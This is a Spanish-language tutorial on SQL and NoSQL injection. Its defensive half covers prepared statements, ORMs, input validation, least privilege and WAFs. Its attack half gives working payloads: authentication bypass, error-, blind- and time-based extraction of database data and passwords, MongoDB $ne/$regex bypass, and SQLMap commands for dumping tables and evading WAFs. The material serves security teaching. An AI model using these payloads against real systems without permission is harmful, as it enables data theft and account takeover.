¿Qué es SQL Injection?
SQL Injection (SQLi) es una vulnerabilidad que permite a un atacante interferir en las consultas que una aplicación hace a su base de datos. Es consistentemente una de las vulnerabilidades más críticas según el OWASP Top 10.
El impacto puede incluir:
- Extracción de datos confidenciales (contraseñas, datos financieros, información personal)
- Bypass de autenticación (iniciar sesión como cualquier usuario sin su contraseña)
- Modificación o eliminación de datos (DROP TABLE, UPDATE registros)
- Ejecución de comandos en el sistema operativo del servidor (en casos extremos)
Tipos de SQL Injection
| Tipo | Descripción | Detección |
|---|---|---|
| In-band (clásica) | Resultado visible en respuesta HTTP | Fácil |
| Error-based | Errores de BD exponen info directamente | Media |
| Union-based | Usa UNION para extraer datos de otras tablas | Media |
| Blind Boolean | Inferencia por respuestas true/false | Difícil |
| Blind Time-based | Inferencia por tiempo de respuesta del servidor | Difícil |
| Out-of-band | Exfiltración vía DNS/HTTP callback | Muy difícil |
| Second-order | Payload almacenado, ejecutado en operación posterior | Muy difícil |
Detección Manual Paso a Paso
Paso 1: Identificar puntos de entrada
Todo input que el usuario envía al servidor puede ser un vector de inyección: parámetros GET/POST, cookies, cabeceras HTTP (User-Agent, Referer), campos ocultos de formularios. Prueba caracteres especiales:
'
"
`
' OR '1'='1
" OR "1"="1
' OR 1=1--
'; WAITFOR DELAY '0:0:5'--
Paso 2: Observar el comportamiento
-- Consulta original del servidor
SELECT * FROM usuarios WHERE id = '1'
-- Con payload inyectado
SELECT * FROM usuarios WHERE id = '1' OR '1'='1'
-- Retorna TODOS los registros
Si la aplicación retorna más datos de lo normal, un error diferente, o un comportamiento distinto, es probable que sea vulnerable.
Paso 3: Error-based SQLi
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
Técnicas Avanzadas de Explotación
Blind Boolean-based SQLi
Cuando la aplicación no muestra datos ni errores, pero su comportamiento cambia ligeramente (ej. muestra "Producto encontrado" vs. página vacía):
-- ¿El primer carácter del nombre de la BD es 'm'?
' AND SUBSTRING(database(),1,1)='m'--
-- ¿La versión de MySQL empieza con '8'?
' AND SUBSTRING(version(),1,1)='8'--
-- Iterar carácter por carácter para extraer datos completos
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 100--
Este proceso es lento (un carácter a la vez), pero herramientas como SQLMap lo automatizan completamente.
Blind Time-based SQLi
Si ni siquiera hay diferencia visual en la respuesta, se puede inferir información midiendo el tiempo de respuesta del servidor:
-- MySQL: si la condición es verdadera, espera 5 segundos
' AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- Microsoft SQL Server
'; WAITFOR DELAY '0:0:5'--
Second-Order SQL Injection
El payload no se ejecuta inmediatamente, sino que se almacena en la base de datos y se activa más tarde cuando otro componente de la aplicación lo procesa:
Flujo de Second-Order SQLi:
1. El atacante registra un usuario con nombre: admin'--
2. La aplicación almacena ese nombre en la BD (sin ejecutar nada aún)
3. Más tarde, la función "cambiar contraseña" construye una consulta:
UPDATE users SET password='nueva' WHERE username='admin'--'
4. El -- comenta el resto de la consulta
5. La contraseña del usuario "admin" real es sobreescrita
Explotación con SQLMap
Usa SQLMap únicamente en sistemas donde tengas permiso escrito.
Detección básica
# Escaneo básico
sqlmap -u "https://target.com/page?id=1" --batch
# Con cookies (sesión autenticada)
sqlmap -u "https://target.com/page?id=1" \
--cookie="PHPSESSID=abc123" \
--batch --level=3
# Detectar en parámetros POST
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
--batch
Enumeración de base de datos
# Listar bases de datos
sqlmap -u "https://target.com/page?id=1" --dbs
# Listar tablas de una DB
sqlmap -u "https://target.com/page?id=1" -D nombre_db --tables
# Extraer columnas
sqlmap -u "https://target.com/page?id=1" -D nombre_db -T usuarios --columns
# Dump de datos
sqlmap -u "https://target.com/page?id=1" -D nombre_db -T usuarios --dump
Bypass de WAF
# Tamper scripts para evadir filtros
sqlmap -u "https://target.com/page?id=1" \
--tamper=space2comment,randomcase,charencode \
--random-agent
# Tamper scripts adicionales útiles:
# between → reemplaza > con NOT BETWEEN 0 AND
# equaltolike → reemplaza = con LIKE
# percentage → agrega % entre caracteres
# space2hash → reemplaza espacios con # y salto de línea
Inyección en Bases de Datos NoSQL
Las bases de datos NoSQL (MongoDB, CouchDB, Firebase) no usan SQL, pero son igualmente vulnerables a inyección cuando el input del usuario no se valida:
MongoDB Injection
// Consulta vulnerable en Node.js con MongoDB
db.users.find({ username: req.body.username, password: req.body.password });
// Payload del atacante (enviado como JSON):
{ "username": "admin", "password": { "$ne": "" } }
// El operador $ne (not equal) retorna true para cualquier contraseña
// → Bypass de autenticación exitoso
// Otro ejemplo: extracción con $regex
{ "username": "admin", "password": { "$regex": "^a" } }
// Prueba si la contraseña empieza con 'a' (similar a Blind SQLi)
Defensa contra NoSQL Injection
// VULNERABLE — acepta objetos del usuario directamente
app.post('/login', (req, res) => {
db.users.find({ username: req.body.username, password: req.body.password });
});
// SEGURO — sanitizar y forzar tipo string
const sanitize = require('mongo-sanitize');
app.post('/login', (req, res) => {
const user = sanitize(req.body.username);
const pass = sanitize(req.body.password);
db.users.find({ username: String(user), password: String(pass) });
});
Mitigación y Defensa Completa
1. Prepared Statements (la solución definitiva)
// VULNERABLE
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
// SEGURO — Prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
# Python con psycopg2
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
// Java con PreparedStatement
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();
// C# con SqlCommand
using (var cmd = new SqlCommand("SELECT * FROM users WHERE id = @id", conn))
{
cmd.Parameters.AddWithValue("@id", userId);
var reader = cmd.ExecuteReader();
}
2. ORM (Object-Relational Mapper)
// Node.js con Sequelize — automáticamente parametrizado
const user = await User.findOne({ where: { id: req.params.id } })
3. Validación de entrada (whitelist)
import re
def validate_id(user_input):
if not re.match(r'^\d+$', str(user_input)):
raise ValueError("ID inválido")
return int(user_input)
4. Principio de mínimo privilegio en la base de datos
-- Usuario de la app solo puede SELECT/INSERT, nunca DROP
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'app_user'@'localhost';
-- NO otorgar: DROP, DELETE en tablas críticas, FILE, SUPER
5. Web Application Firewall (WAF)
Un WAF (como ModSecurity, Cloudflare WAF o AWS WAF) puede filtrar patrones comunes de SQLi en tiempo real. Sin embargo, un WAF nunca debe ser la única defensa: es una capa complementaria. Los atacantes experimentados pueden evadir WAFs con técnicas de ofuscación (los tamper scripts de SQLMap existen precisamente por esto).
Laboratorios de práctica (legales)
- PortSwigger Web Security Academy — gratis, con laboratorios interactivos
- DVWA — instala local con Docker
- HackTheBox — entorno controlado
- TryHackMe — guiado para principiantes
- SQLi-Labs — laboratorio dedicado exclusivamente a SQLi
Conclusión
SQL Injection sigue siendo una de las vulnerabilidades más peligrosas y prevalentes, no por falta de soluciones, sino por falta de implementación correcta. La defensa efectiva requiere siempre usar prepared statements, nunca concatenar input del usuario directamente en queries SQL, aplicar el principio de mínimo privilegio en la base de datos y complementar con un WAF. El conocimiento profundo de las técnicas de ataque — incluyendo las variantes blind, second-order y NoSQL — es esencial para construir defensas verdaderamente robustas.
Recuerda: El pentesting sin autorización es un delito. Todas las técnicas aquí descritas deben aplicarse únicamente en entornos de prueba o con permiso escrito del propietario del sistema.
Artículos Relacionados
- Pentesting Web y OWASP Top 10 — Vulnerabilidades web más críticas y metodología de pruebas
- API Security y OWASP Top 10 — Seguridad de APIs REST y GraphQL contra inyección y más
- Seguridad de APIs GraphQL y Pentesting — Ataques y defensa específicos para GraphQL
- DevSecOps: Pipeline CI/CD Seguro — Integra SAST y escaneo de vulnerabilidades en tu pipeline
🔧 Herramienta relacionada: Aprende a usar [Burp Suite] paso a paso en nuestra guía completa de herramientas.